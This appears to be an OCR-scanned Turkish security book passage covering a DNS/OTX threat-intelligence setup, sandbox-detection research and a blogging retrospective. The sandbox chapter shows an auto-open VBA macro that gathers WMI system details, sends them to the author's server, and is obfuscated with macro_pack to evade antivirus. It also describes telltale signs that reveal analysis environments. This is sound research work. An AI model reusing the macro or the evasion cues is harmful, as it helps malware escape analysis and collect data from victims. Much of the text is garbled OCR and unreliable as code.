Apr 9 .1.1 dnsmasq[29860]: reply partnerad.].doubleclick.net is 74.125.21.154
Apr 9 .1.1 dnsmasq[29860] : reply partnerad.].doubleclick.net is 74.125.21.155
Apr 9 .1.1 dnsmasq[29860]: query[A] s.w.org from 192.168.1.225

Apr 9 .1.1 dnsmasq[29860]: query[a] widget.engageya.com from 192.168.1.225
Apr 9 .1.1 dnsmasq[29860]: reply s.w.org is 192.0.77.48

Apr 9 .1.1 dnsmasq[29860]: reply widget.engageya.com is <CNAME>

Apr 9 .1.1 dnsmasq[29860]: reply wi dget—engageza. edgekey.net is <CNAME>

Apr 9 1.1 dnsmasq[29860]: reply el5247.dscg. akamaiedge.net is 104.96.141.105
Apr 9 .1 dnsmasq[29860]: query[A] www.googletagservices.com from 192.168.1.225
Apr 9 .1 dnsmasq[29860]: reply www.googletagservices.com is <CNAME>

Apr 9 .1 dnsmasq[29860]: reply pagead46.1.doubleclick.net is 172.217.3.226
Apr 9 .1 dnsmasq[29860]: query[A] gatr.hit.gemius.pl from 192.168.1.225

Apr 9 .1 dnsmasq[29860]: reply gatr.hit.gemius.pl is 5.135.121.144

Apr 9 .1 dnsmasq[29860]: reply gatr.hit.gemjus.pl is 37.59.195.0

Apr 9 .1 dnsmasq[29860]: reply gatr.hit.gemjus.pl is 37.187.168.211

Apr 9 .1 dnsmasq[29860]: reply gatr.hit.gemius.pl is 149.202.193.219

Apr 9 .1 dnsmasq[29860]: reply gatr.hit.gemius.pl is 149.202.204.241

Apr O .1 dnsmasq[29860]: reply gatr.hit.gemius.pl is 188.165.145.88
rooﬁ@gbumtu: etc/syslog-ng/conf.d# cat /var/Tog/dns-sys/192.168.1.1/08-04-2019.Tog | cut -d -f 7 [ sort [ unig -1
cache

dnssec-query[DNSKEY]
dnssec-query[Ds]
forwarded

query[SRV]

reply
root@ubuntu: /etc/syslog-ng/conf. d#

Twitter iizerinden ELK kurmam gerektigi ile ilgili bir mesaj
paylastigimda  bulut ve  hazir ELK  sistemlerinden
faydalanabilecegime dair mesajlar aldim. Ubuntu igletim sistemine
ELK m1 kursam yoksa bulut bir sistemden mi faydalansam derken
Grok filter ve Translate filter eklentilerine sahip Logstash‘in bu ig
icin bi¢ilmis kaftan oldugunu 6grendim.


https://securityonion.net/
https://www.elastic.co/guide/en/logstash/current/plugins-filters-grok.html
https://www.elastic.co/guide/en/logstash/current/plugins-filters-translate.html
https://www.elastic.co/products/logstash
https://github.com/TravisFSmith/SweetSecurity/blob/master/logstash.conf

Ev Tipi Tehdit Istihbarati 151

Mert SARICA @ @MertSARICA - 7 Mar w
Yapilacaklar listem kabardik¢a kabanyor, eve gidince ELK kurmam lazim. Beni bu

kadar gok gahstiran kendimi, sikayet edecek bir merci bulmam lazim. 3}

Q 3 0 (WART il

Furkan CALISKAN @
@caliskanfurkan_

@MertSARICA adl kullamicrya yamit olarak

cloud.elastic.co 14 gun ucretsiz hazir cloud
ELK :)

22:47 - 7 Mar 2019

5 Begeni e e ‘ 6

Q1 L

e Yanitini Tweetle

Mert SARICA gy @MertSARICA - 7 Mar
@caliskanfurkan_ adh kullanicrya yanit olarak
Eyv.

€ 4 o Q

Samet @belleveben - § Mar
Bu da docker elk. elk-docker.readthedocs.io

Q n L ] &

Security Onion - OTX entegrasyonu icin gelistirilmis olan
securityonion-otx ~ betik  dosyasimn1  kendi  ihtiyaclarim
dogrultusunda diizenlemeye bagladim. bro-otx dosyas: saat bagi
OTX’ten tehdit istihbarati bilgisini /etc/logstash/ls-otx/otx.dat
dosyasina kaydetmek ic¢in ayarladim. OTX.py dosyasimi da her
saatin 5. dakikasinda otx.dat dosyasindaki zararli URL ve
DOMAIN kayitlarindan sadece alan adi bilgilerini alip Translate


https://github.com/weslambert/securityonion-otx/blob/master/securityonion-otx
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filter tarafindan okunacak olan /etc/logstash/translate/

OTX.yaml dosyasi olarak kayit etmesini sagladim.

root@ubuntu: /etc/cron. d# cat bro-otx
# Jetc/cron.d/bro-otx
#

# crontab entry to manage Bro OTX pulse updates

SHELL=/bin/sh
PATH=/usr /local /sbin: /usr/local/bin:/sbin: /bin: /usr/sbin: fusr/bin

0 ¥ # = ¥ rogot python /etc/1 o?stash/'ls otx/bro-otx.py >> /var/log/bro-otx.log 2>&1
root@ubuntu: /etc/cron. d# cat TX

# /Jetc/cron.d/bro-otx

#

# crontab entry to create Logstash dictionary from oTx file

SHELL=/bin/sh
PATH=/usr /local /sbin: /usr/local/bin:/shin: /bin: /usr/sbin: fusr/bin

®/5 ¥/1 ¥ ® % rpoot python fetc/logstash/1s-otx/0TX.py >> /var/log/1s-otx.log 2>&1
root@ubuntu: /etc/cron. d#
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root@ubuntu: /etc/Togstash/Ts-otx# cat OTX.py
#! fusr/bin/env p¥thor’|

# -*- coding: utf-8 -*-

# OTX to Logstash Dictionary script

# author: Mert SARICA

# E-mail: mert [ . ] sarica [@ ] gmail [ . ] com
# URL: https: //\-mm mertsarica.com
#

# credit: https://raw.githubusercontent. com/TravisFsmith/MyBroelk/master /maliciousIpP.py

mport re
debug = 0

def writevamL():
fname = /'etc/'\ugstash/'\s otx/otx.dat"
yamlFile = open( /etc/'\ogstash/trans'\ate/OTx yaml',"'w')
with open(fname) as html:

[]
for’ Tine_in heml. read]'mes()

ine = re.sub(*\\r|\\n" ,'\'ir'\e)
if line.find("Intel: DoMAIN") >=
try:

line = Tine. sp'ht( \t")[0]
if 1ine not in cti
ct1 agpend('\me)

"www. aucsellers. com YES

"www. Tunwe. com” : "YES"
"patane.myonlineportal.org”: "YES"
"isozaki.sakura.ne. ]p "YES"
"wewi, weo-kyousai.com': "YES"

"www. 51lcs.net”: "YES"

"wwwb. intarnetservice.com”: "YES"
"www. webmailerservices. com": "YES"
"go-trust.webmailerservices. com":
"www. adobeservice.net”: "YES"
root@ubuntu: /etc/logstash/translate#

YES

print line. sp'ht( \t )[D]
yamlFile.write("\"" TN NTVESNT TR NN
except: .
continue
if 1ine.find("Intel::urRL") >= 0
ry:
line = line.split("\t")[0]
Tline = Tine.split("/")[0]
except:
Tine = Tine.split("\t")[0]
Try:
Tine = Tine.split(":")[0]
if line not in cti:
cti.a pend('\me)
if del E
rmt Tine
yam'\Fﬂe write("\"" + Tine + "\": \"YES\"" + "\n")
except:
if 1ine not in c
cU agpend('\'me)
pri ine
yam'\m'\e.wr'\te( TR Tines TN NTYESNT T TANT)
yamlrile.close()
if _name__—"__main_
wr‘\teYAML()
root@ubuntu: /etc/Togstash/1s-otx# ||
root@ubuntu: /etc/logstash/translate# Is
OTX. yaml
root@ubuntu fetc{?ogstashjtrans]ate# head -n 10 OTX.yaml

Logstash’un ayar dosyasi (logstash.conf) iizerinde syslog-ng ile
kayit altina alman DNS kayitlarini Grok filtresi ile okuyan ve

Translate filtresi ile burada yer alan ip adreslerinden veya alan
adlarindan herhangi birinin OTX.yaml dosyasinda olmasi

durumunda e-posta ile alarm gonderen tanmimlamalar1 yaptim.
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Ardindan Logstash’i yeniden baslatip OTX.yaml dosyasinda yer
alan www/[.]aucsellers[.]Jcom adresine nslookup yaptigimda
alarmin bagariyla iiremesini ve bana e-posta ile gonderilmesini
saglamis kisaca ev tipi tehdit istihbarati servisini basariyla hayata

gecirmis oldum. ?

ax ommane @0

a_program) (7 P

10 progran (2 L PIINI)?: (query\[8\]) S{GREEDVDATA:sysTog_iporhost) (From)
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/10g path using ——path. seccings. Continuing using the defaules
gn o e B A e Ries
i e 12 or command Tine'options are specified

Socls S ing pipe1ine.{ipApRline idmo"main”, "pipe) ne,uorkers”
e peine - y.pmni z(:rred R AL
/1ib/booestrap/environnent. rb:6] agen - pipelines ruming (:counto>1, :rumming_pipelinesss{inain],
e ook e v enapoint pateosoaon)” i il G
fity
7116/ anesome_orin/foraaters/base_formatcer.rb:31: warning: constant

pipeTine. batch. size"=>125,

i 4
B R =
/wm./?r[unyrz]s Y ".!s,msumwn

sysTos grogrant = e
ysTosprogr rn“

<non_running_pipeTines=>|
i apips m
e e ogecast vend

K o

terixnum 15 deprecated

15:17:49 192.168.1.1 dnseasq[298601: reply test.com {5 173.194.219.138",
“sysTgg_iporhos
"t g 536 g :
e 22 "ommavaieaumyroesssTTaaNaLykYa” s
tap: = o KA n}"ﬁ EHUR N
“ayston iparporet:

HE

35
> e

>
o 31 30717240 102 268.1.1 reply. i

ylog.po 31716017149 192.168.1.1 cnsmasa[29860]: reply wis. aucsellers. com 5 173.194. 219,138
od
e

R
e Wi,

[0 1dnss
SRR

yerzion
“waiicions”

« O o

Malicious Traffic D inbox x

alert@mertsarica.com yia sandbox.mgsend.net
tome ~

Malicious traffic has been detected!
Desti Domain: www.aucsellers.com
Destination IP: 173194 219138

Raw Log: Mar 31 19:17:49 192.168.1.1 dnsmasq[29860]: reply www aucsellers com is 173.194.219.138

. Reply m Forward

Bir sonraki yazida goriismek dilegiyle herkese giivenli
dilerim.

" batch, size"=>125, “pipeline. batch.delay"=>50}
e eados e rkead: sxéacestab runs

glinler






11. Kum Havuzu

Tespiti

8-9 yil 6nce yazdigim blog yazilarinda (Anti Analiz, Anti Anti-
VMWare) zararli yazilim gelistiren art niyetli kisilerin, zararl
yazilimlarinin sanal sistemlerde giivenlik arastirmacilari veya
givenlik sistemleri tarafindan analiz edilmesini zorlastirma,
engelleme adina c¢esitli yontemlerden faydalandiklarindan
bahsetmigtim.

Tabii giniimiizde Virtual Desktop Infrastructure (VDI)
teknolojilerinin kurumsal ortamlarda son kullanicilar tarafindan
yaygin olarak kullanilmaya baslanmasiyla sanal sistemlerin
cogunlukla sunucular veya zararli yazilim analistleri, giivenlik
aragtirmacilar1 tarafindan kullanildign giinler geride kalmaya
basladi. Durum boyle olunca da zararli yazilim gelistiricilerinden
kirmizi takim (red team) caligmasi gerceklestiren etik hackerlara
kadar hedef sistemleri kendi araglari ile uzaktan yonetmek ancak
yakalanmak istemeyenlerin ortak kaygisi, sanal sistemlerde
caligabilen fakat analiz sisteminde calismayan araclar tasarlamak

ve gelistirmek olmaya bagladi. Gercekei bir yaklasimla analiz
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https://www.mertsarica.com/anti-analiz-kodlari/
https://www.mertsarica.com/anti-anti-vmware/
https://www.mertsarica.com/anti-anti-vmware/
https://en.wikipedia.org/wiki/Desktop_virtualization
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sisteminde calismayan bir aracin gelistirilmesinin mimkiin
olamayacagini bilen zararli yazilim gelistiricileri, yakalandiklarini
anlamak ve operasyonlarini durdurmak icin VirusTotal {izerinde
belli zaman araliklarinda gelistirdikleri zararli yazilimlarinin hash
degerlerini aratmaktadirlar. Benzer sekilde mavi takim tarafindan
yakalanabilecegi ihtimalini g6z ardi etmeyen kirmizi takim
calisanlar1 ise operasyonlarinin stirdiiriilebilirligini saglama adina
RedELK gibi projelerden faydalanmaktadirlar.

Zararli oldugundan siiphe edilen dosyalarin son kullanicilar,
givenlik uzmanlar1 tarafindan VirusTotal, Any.Run, Hybrid
Analysis, Lastline Analyst, VMRay Analyzer vb. kum havuzu
sistemlerine ytiklendigini bildigim i¢in ¢ok giivendigimiz bu kum
havuzu sistemlerini tespit etmenin pratikte ne kadar kolay veya
zor oldugunu arastirmaya ve sizlerle paylasmaya karar verdim.

Bunun igin ilk olarak kum havuzu sistemleri ile ilgili bilgi
toplamam (kesif) gerekiyordu. Kum havuza sistemine yiiklenen
bir yazilim, dinamik analiz esnasinda hedef bir sistem (c&c) ile
haberlesmeye gectiginde kum havuzu sistemi tarafindan
izlenmekte ve kayit altina alinmakta kisaca bu sistemler tizerinde
internetteki baglantisina izin verilmektedir. Ben de bu firsattan
istifade ederek hedef igletim sistemi ile ilgili bilgi toplayan bir
Microsoft Office makrosu hazirlamaya karar verdim. Makro ile
bu isi yapmanin en kolay yolu 6zellikle hedeflenmis saldirilarda
(APT) yanal hareket (lateral movement) amaciyla kullanilan
Windows Management Instrumentation (WMI)‘dan
faydalanmakti. WMI ile ilgili olarak Microsoft’un sitesinde ufak bir
aragtirma yaptiginizda (Win32 Provider) hedef igletim sistemi ile
ilgili cok ama cok sayida bilgi toplayabildiginizi gorebilirsiniz.

Diinyay1 yeniden kesfetmeme adina Google’da ufak bir arama
yaptigimda VBA ile WMI iizerinden bilgi toplamaya yarayan basit
bir betik ile kargilastim. Bu betik dosyasmna Microsoft’un
sayfasinda igletim sistemine y6nelik olan 25 adet smifi ekledikten


https://github.com/outflanknl/RedELK
https://www.virustotal.com/
https://any.run/
https://www.hybrid-analysis.com/
https://www.hybrid-analysis.com/
https://www.lastline.com/solutions/analyst/
https://www.vmray.com/products/malware-sandbox-vmray-analyzer/
https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-start-page
https://docs.microsoft.com/tr-tr/windows/desktop/CIMWin32Prov/win32-provider
https://sites.google.com/site/beyondexcel/project-updates/exposingsystemsecretswithvbaandwmiapi
https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/operating-system-classes
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sonra bu bilgileri https://www.mertsarica.com/macro.php
adresine gondermesini sagladim. Antiviriis yazilimlar: tarafindan

kolayca tespit edilememesi adina da macro_pack araci ile makroyu

gizledim. (obfuscation)

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window s
= B =
Pl CRCR=l L[] I8 %g| & &0 R=IR
EMMOMU:DEMZSME{‘ D
T ' Buthor: Merc SARICA - https://wws.mertsarica.com - mert.sarica[@]gmail.com
' For Security Research Purposes Only
3 ' Credit: https://sites.google.com/site/be 1/project-updates/exposingsvstensecretsyithvbaandumiapi
5  Private Sub Document_pen ()
6 L
7 End Sub 3
Sub WMI () ‘
Dim OWMISTVEX As Gbject  SWpemServicesEx |
Dim oWMICh3Set As Cbjsct  'SWbemServicesObjectSet
Dim OWMIObIEx As Object  'SWbemObjectEx
Dim OWMIFrop As Object  'SWpemProperty
Dim n As Long ‘Generic Counter
Dim i As Integer
Dim s As Integer

Dim SWQL(1 To 25) As String
Dim arrMarks() As String

2 Dim msgString As String
21 Dim rValue As Boolean
2 ReDim arrMarks (65535)
2 SWQL(1) = "Select * From Win32_NetworkAdapterConfiguration™”
2 SWQL(2) = "Select * From Win32_ SystemEnclosure™ 'BC 's Manufacturer and Serial Number
7 SWQL(3) = "Select * From Win32_LegicalDisk" 'Disks with capacities and free space.
SWQL(4) = "Select * From Win32_Processor" 'CPU Specs
SWQL(5) = "Select * From Win32_ PhysicalMemoryArray" 'RAM/Installed Memory size
SWQL(6) = "Select * From Win32_VideoContreller" 'Graphics adapter and settings
SWQL(7) = "Select * From Win32_OnBoardDevice" 'Motherboard devices
SWQL(8) = "Select * From Win32_OperatingSystem” 'Which version of Windows with Serial Number
SWQL(9) = "Select * From WIn32 Printern 'Installed Printers
SWQL(10) = "Select * From Win32_Product” 'Installed Software
SWQL(11) = "Select * From WIn32 Account” 'List all User Accounts on a BC or Domain
SWQL(12) = "Select * From Win3J_ComputerSystem" 'See who is currently using a remote BC (also Win32_LoggedonUser)
SWQL(13) = "Select * From Win32_BaseService" 'List services running (or stopped) on any PC along with the
service's path and file name. 3
Normal text file length: 6277 lines ;128 Ln:i13 Col:51 Sel:0]0 Windows (CRLF)  UTF-8 NS


https://github.com/sevagas/macro_pack
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@ C\Windows\system32\emd

Preparations
Target uutput format: Excel
Input file path: macro.txt
Temporary working dir: temp
Store input file...
Temporary input file: temphcefiigddy.uha
Prepare Excel file generation...
Check feasibility...
UBA names obfuscation ...
Rename functions...
Rename variables...
Rename numeric constants...
Rename APl imports...
OK?

UBfi strings obfuscation ...
Split strings...
Encode strings

obfuscation ...
conments

Generating M8 Excel document
Set Softuare\ﬂlcroguft\off1ce\16 B\Excel\Security to 1.
Open workhook
Changing auto npen function from Document_Open to UWorkhook_Open.
Inject UBA
Remove hidden data and personal info...
Save workbook
Set Softuare\chroguft\Off1ce\16 B\Excel\Security to B.
%enerate? Excel file path: C:=slUsers MertiDesktop Mert—-Obfuscated25.xlsm
est with
macro_pack.exe —run G:nUserssMertsDesktopsMert-Obfuscated25.xlsm

Cleaning. - .
Done

29 Microsoft Visual Basic for Applications - Mert-Obfuscated25.xlsm - [ThisWorkbook (Code)

& Fle Edit View Inset Fomat Debug Run Tools Adddns Window Help -
E&E-A A »on oo W SEFY @ | tn79, Co137 2
Lo o Elfe— +  devoitudboz -
Thisworkbool Viorkbook  ~ =1
t nzslynpena 7

an
Y

© nefuntiuev
nst_yxtfogysvi = 0

Aphabetic | categorized

Con

|Accuracy Versio

Sub Workbook_Open (
AutoUpdateFre kobgwwizm) |
[ChangeHistoryl End Sub E

|ChartDataPoint Kobguwizm3 ()
(CheckCompatibi byfuechy As Object
(ConfiictResolutic 1 azrwemvrgxpef As Cbject

Jaryvxbggka As Object
vimxuhggswzhnlutbzg
IDisplayInkComm huclkzdspoun
[BoNotPromptio
[EncbleAutoRect
[EncryptionProvi
[EnvelopeVisible

pxjjnyaj

SHQL(1 To 25) As
arrMarks() As Strin
wuvytgeakiv As Str

eger

w

vrxgmbpd As Boolean

ReDim arrMaris (65535)

SWQL(1) = xmdhezkefxfn ("53656c65637420222046") & xmdhezkefxfn ("726£602057606e3332514e6574776172¢
SWQL(2) = xmdhezkofxfn ("536560656374202a2046726£642057696233325£53797374656d") & xmdnezkofren ("4

SWQL(3) = xmdhezkcfxfn ("53656c656374202a2046726£6d2057696e33325F4c6£676963616C446973") & xmdhezh
SWQL(4) = xmdhezkefxfn("5365") & xmdhezkefxfn("6C656374202a2046726£602057606e33325£50726£6365737

SWQL(S) = xmdnezkcfxin ("S3656C656374202a204672656d2057696233325E5068") & xmdhezkcExEn ("79736963¢

lpersonalviewLis SWQL(6) = xmdhezkcfxfn (™ 3") & xmdhezkcfxfn("7420222046726£602057696e333250566964656143¢

[PersonalViewPrii i SWQL(T) = smdnezkefxfn (™ 74") & xmdnezkefxfn("20222046726L6d20576062333255456242656172€
SWQL(2) = xmdnezkefxfn ("S36560656374202a20") & xmdnezKofxfn ("46726£60205769623332554£7065726174¢€
SWOL(3) = xmdhezkcfxfn("53") & xmdhezkcfxfn ("656c65637420222046726£6d2057496e33525E5072696eT4657

. 0 v
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Mert-Obfuscated25.xlsm dosyasin1 Any.Run ve VirusTotal’a
yiikledikten kisa bir siire sonra https://www.mertsarica.com/
macro.php dosyasina istekler geldigini goérdiim. Gelen isteklere
baktigimda kum havuzu analizi yapan sistemlerle ilgili 6niimde
incelenmesi gereken epey bir bilgi oldugunu gérdim. ?

Bu bilgilere bakarken ilk olarak dikkatimi Select * From
Win32_OperatingSystem WMI isteginin ¢iktisinda yer alan
LastBootUpTime degeri cekti. Bu deger, isletim sisteminin en son
hangi tarih ve saatte baslatildigini belirtiyordu. Kum havuzu
analizi yapan sistemler zararli yazilimlar1 analiz etmeden once
isletim sistemini sifirdan, temiz hali ile baglatmaktadirlar
dolayisiyla analizin gerceklestirildigi isletim sisteminin yeniden
baglatilma tarihi (LastBootUpTime) ile analiz tarihi
(LocalDateTime) arasinda maksimum 30 dakika gibi bir zaman
farki olusmaktadir. Bu bilgiden de yola cikarak yazilimin kum
havuzunda  analiz  edildigini  varsaymak  mumkiimkiin
olabilmektedir.


https://app.any.run/tasks/09f3568a-6413-477d-a683-9380186d2729
https://www.virustotal.com/gui/file/d878a7c8fa46c52020a07de7726a8a740d245dcf0a58355b88a054059f933ba3/detection
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-operatingsystem
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-operatingsystem
https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-operatingsystem
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Topladigim  bilgilere g6z  atmaya  devam  ettigimde
LastBootUpTime ile LocalDateTime arasinda 4 ay fark
oldugunu fark ettigim bir cikt1 ile karsilastim. 4 ay boyunca
yeniden baglatilmayan bir son kullanici sistemi (Windows 7)
oldukca stiphe cektigi i¢in bu bilgileri yakindan incelemeye
basladim. Bilindigi tizere cogu giivenlik arastirmacisimin, zararh
yazilim analistinin hali hazirda izole, sanal bir analiz sistemi
bulunmaktadir. Bu analiz sistemi zaman kaybetmeme adina her
defasinda yeniden baslatilmak yerine anlik gériintiiden (snapshot)
dondiirilmektedir. Anlik goriintiden dondirilen bir isletim
sisteminin de LastBootUpTime giinler gectikce geride kalmakta
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ve bir zararli yazilim analiz edildiginde LocalDateTime ile
arasindaki zaman farki kimi zaman aylar1 bulabilmektedir. Bu
bilginin 1s181nda bir de siiphelendigim bu ¢iktinin Windows isletim
sistemindeki program gruplarina
Win32_LogicalProgramGroup dair bilgileri topladigi WMI
bolimiine baktigimda bu defa giivenlik arastirmacilari, zararh
yazihm analistleri tarafindan siklikla kullanilan Immunity
Debugger, Process Hacker gibi araclarin sistem tizerinde yiiklii
oldugunu goérdim. Bu da bana Office dosyamin bir tehdit avcist
tarafindan analiz edildigi bilgisini saglamis oldu. ?

Erma]

Eit 0
11 LocalDateTine 20190329103419.697000+060

406

ofessional |C:\Windows|\Device\Harddisk0\Partition2

Hacker 2\\ielp and dugpors®

& Mana\\Pragrane\ Python 2.7%

Ava gikmig tehdit avcisi :)

Son olarak bir de dikkatimi Select * from Win32_SystemBIOS
WMI isteginin ¢iktist ¢ekti. Kum havuzlarindan gelen bilgilere


https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-logicalprogramgroup
https://www.immunityinc.com/products/debugger/
https://www.immunityinc.com/products/debugger/
https://processhacker.sourceforge.io/
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-systembios
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baktigimda bir tanesinin BOCHS &ykiinticiisii (emulator) iizerinde
bir digerinin ise QEMU &ykiinticiisit Uzerinde calistigini
dolayisiyla bu iki sistemin de kum havuzu sistemine ait oldugunu
anlamis oldum.

1025000000.000000+000

Bochs is a portable IA-32 and x86-64 IBM PC
compatible emulator and debugger mostly

5 SUBIOSPresent True

SoftwareElementID Intel IGD BDSH enabled at 0x30x, size ¥1lMB, dev 00:02.0 written in C++ and distributed as free

| ofxeceelumattics software under the GNU Lesser General
Status 0K gy 3
Svrtes Lo fotveneliad Public License. It supPuns gmulatlon of the
SystemBiosMinorversion 0 processor, memory, disks, display, Ethernet,

fazgetperatingsysten 0 BIOS and common hardware peripherals of
ion BOCHS - 1 PCs
+ Select * from Win32_SystesIos t4rt

5 PartComponent \\DESKTOP-HAWIO\ro:
[s11008, dev 00:02.0"
Select * from Win32_Desktop *4#+t
cursorglinkgate 500
i

Name NS Shell Dlg

Titlehrap True
2 Name NT AUTHORITY\SISTEM

AAUTSEZTEE,
IGD BDSM enabled at UxxUNx, size %11dME, d

QEMU is a free and
open-source emulator
that performs hardware
virtualization. QEMU is a
hosted ual machine

monit mulates the

macl processor
through dynamic binary

\STRAZNITCA. GRUBUTT

Ln 707, Cot 23 15377 tines | INS | Read-only Edn  Plug-in  Newer 5002KBS ANS!

Ekim ayimna kadar gecen zaman zarfinda macro.php dosyasina
istekte bulunan ip adreslerine baktigimda bunlarin da kuvvetle
muhtemel VMRay, Lastline, Any.RUN, VirusTotal’a ait kum
havuzu sistemlerine ve bir tehdit avcisina ait oldugunu
soyleyebilirim.


http://bochs.sourceforge.net/
https://www.qemu.org/
https://www.vmray.com/analyses/d878a7c8fa46/report/overview.html
https://app.any.run/tasks/09f3568a-6413-477d-a683-9380186d2729
https://www.virustotal.com/gui/file/d878a7c8fa46c52020a07de7726a8a740d245dcf0a58355b88a054059f933ba3/detection
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P Domain Country Region city ISP ASN NS
=5 United

104 21589177 States Texas San Antonio Microsoft Corporation 8075

13.80.140 46 Notheriands  North Holland Amsterdam Microsoft Corporation 8075

dsib-188-099-240. Baden-WAYrttemberg  Bodman.

188.09.240.204 504 188,099, pools vodafone-ip de = Gemany  Region Ludwigshafen ~ Vedafone GmbH B2tg

217.86.42248  pDOS62AFE.dip0 Lipconnect de = Germany gggm"“k*“‘e"“’wg Tettnang Castie  Deutsche Telekom AG 3320
google-proxy-64-233-172. w8 United =

04233172230 o0 Prnoe —— Google LLC 15169
google-proxy-66-102-6- =3 United S

861026213  §5odia by oo e Google LLC 15169

66.249.88. 41 g‘f?U‘fjrﬁ;":g,g“ 249-88- ;,'E‘I'é‘;‘“ California Mountain View Google LLC 15169

so2a0ese0  gogieproxy 024088 munited  Couomia MountanView  Google LLC 15169

=3 United Comeast Cable

71.50.36.230  ¢-71.50-36-230 hsd1.gacomcastnet gt Georgia Atlanta e e 7022

7212 208145 Mlnited  jrgiana Latayette Wintek Gorporation 1114

85.203.44.80 Hetheriands  North Holland Amstardam NForce Entertainment BY. 43350

6 DO 220107 = Germany  horth Rhine- ochum iberty Global
95.222.167189  {gg nsi15 unitymediagroup de ™ Germany  \westphalia Bec L= Gt BlG el

Sonuca gelecek olursam, gelistirilen bir yazilimin, kodun WMI
iizerinden elde ettigi bilgiler sayesinde kum havuzu sistemi
tizerinde calistigini anlamasi pratikte zor goriinmiiyor dolayisiyla
hem bu bilgilerden hem de kum havuzu sistemlerine ait olan ip
adreslerinden, ip bloklarindan faydalanan art niyetli bir kisinin
veya bir kirmiz1 takim tiyesinin kum havuzu analizini atlatmasinin
mimkiin olabilecegi asla unutulmamalidir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler
dilerim.

Not: 22 Kasim tarihinde diizenlenen NOPcon Uluslararasi
Hacker Konferansinda bu konuyu degindigim Kum Havuzu
Tespiti baglikh  sunum dosyami dileyenleriniz buradan
indirebilirler.


https://nopcon.org/
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx




12. 10 Yilin Ozeti

Sevgili Giinliik,

1996 vyilinda, yaklasik 13-14 vyaslarindayken haberlerde
bilgisayar korsanlar: tarafindan gerceklestirilen siber saldirilar ile
ilgili bir haber duydugumda oldukga ilgimi ¢ekmisti. Kimdi onlar?
Nasil sistemlere sizabiliyorlardi? sorularina yanit aramaya karar
vermistim. Ben de onlar gibi olmak istiyordum fakat nasil
olabilecegime dair en ufak bir fikrim yoktu. Yillar i¢inde ¢ok sayida
teknik kitap, makale okuyarak ve pratik yaparak aklimi
kurcalayan tim sorulara yanit bulabilmis ve merakimi, hobimi
siber giivenlik alaninda meslege c¢evirebilme firsatim
yakalayabilmigtim.

Ogrendiklerini yillarca kendine saklamig biri olarak bundan
10-11 yul dnce siber giivenlik iizerine bildiklerini paylasan ve bol
bol teknik makaleler yazan Huzeyfe ONAL dikkatimi ¢ekmisti.
Kendisi ile LinkedIn iizerinden iletisime gegip, elestirel bir sohbet
gerceklestirdikten kisa bir siire sonra “Madem bu konularda bilgi
birikimin oldugunu diisiintiyorsun o halde neden teknik makaleler
yazmiyorsun ?” diye sormustu.

Istisnalar bir kenara, i¢inde bulundugumuz cografyada cogu
konuda dogustan gelen bir bilgi birikimimiz oldugunu diisiintiriz.
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https://www.goodreads.com/review/list/52229036-mert-sarica?page=1&shelf=read
https://www.linkedin.com/in/huzeyfe/
https://www.linkedin.com/
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Kimi zaman bilgimiz olmadan fikrimizin dogru oldugunu atesli bir
sekilde savunuruz. Sorduklarinda o is 6zelinde bizden iyisi yoktur.
Elegtirilerimizde sivri dil kullanmay1 sever, alayci, kiigiimseyici
veya yikici olmaktan da pek imtina etmeyiz fakat konu “Neden
sen daha iyisini yapmiyorsun ?” noktasina geldiginde bahaneleri
siralamaya baslariz. Halbuki siber giivenligin teknik alanlarinda
bahanelerin ardina gizlenemezsiniz ¢iinkii daha iyisini bildiginizi
disiiniiyorsaniz, yapabileceginize inaniyorsaniz teknik bir makale
yazarak ve/veya sunum yaparak bildiklerinizi gozler Oniine
serebilirsiniz.

Sansliysaniz, elestirinize karsilik olarak “Neden sen daha iyisini
yapmiyorsun ?” sorusu ile karsilastiginizda benim gibi bir karar
alip daha iyisini yapmak icin elinizi tasin altina koyarsiniz.
Sanssizsaniz asagidaki videoda oldugu gibi karsi tarafi
elestirmeden once empati yapmay1 er ya da geg tecriibe ederek

Ogrenirsiniz.
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A YouTube element has been excluded from this version of
the text. You can view it online here:

https://hack4career.pressbooks.com/?p=283

Huzeyfe’nin sorusu hayatimdaki 6nemli doniim noktalarindan biri
olmustu. O soru sayesinde kendime meydan okuyarak bildiklerini,
ogrendiklerini paylasmaya adayan bir giivenlik arastirmacisi,
blogger olmaya karar vermistim. Blog yazarak, sunumlar yaparak
bildiklerimi siber giivenlik meraklilarina aktarmama vesile oldugu
icin Huzeyfe ONAL’a 10. yilin anisina 6zel olarak bir tesekkiir
etmek isterim.

2009 yilinin Kasim ayindan bu yana blog yazdike¢a yillar icinde
bilginin bir gii¢ olduguna ve paylasildik¢a arttigina yakindan tanik
oldum.

10 yi1lda blogum sayesinde;

Giivenlik arastirmalarimdan olusan yazilarimin sizler tarafindan
begeniyle okunmaya baglamasi ile 2011 yilinda gelen bir davet
tizerine ilk defa bir giivenlik etkinliginde (Netsec) onlarca kisinin
karsisinda yapmis oldugum bir giivenlik aragtirmasini sunarak bu
zamana dek 30’a yakin siber giivenlik etkinliginde konugmaci
oldum.

2012 yilinda, Namik Kemal Universitesi Corlu Mithendislik
Fakiiltesi 6grencisi olan Gokmen GURESCI‘den gelen bir davet
iizerine yapmaya basladigim Sizma Testi Uzmanlig1 / Etik Hacker
ve Kariyer bashikli sunumum ile bugiine kadar 40’a yakin
iiniversitede ofansif giivenlik alanina merakli binlerce 6grenciye,
tutkuyla bagl oldugum meslegimi ve bu alanda kariyerime nasil

basladigimi anlatma, yol gdsterme imkanim oldu.


https://hack4career.pressbooks.com/?p=283#pb-interactive-content
https://www.mertsarica.com/hello-world/
https://www.mertsarica.com/hello-world/
https://www.mertsarica.com/medya/sunumlar/2011-2/netsec-toplulugu-istanbul-bulusmasi-30-ocak-2011/
https://www.linkedin.com/in/gokmenguresci/
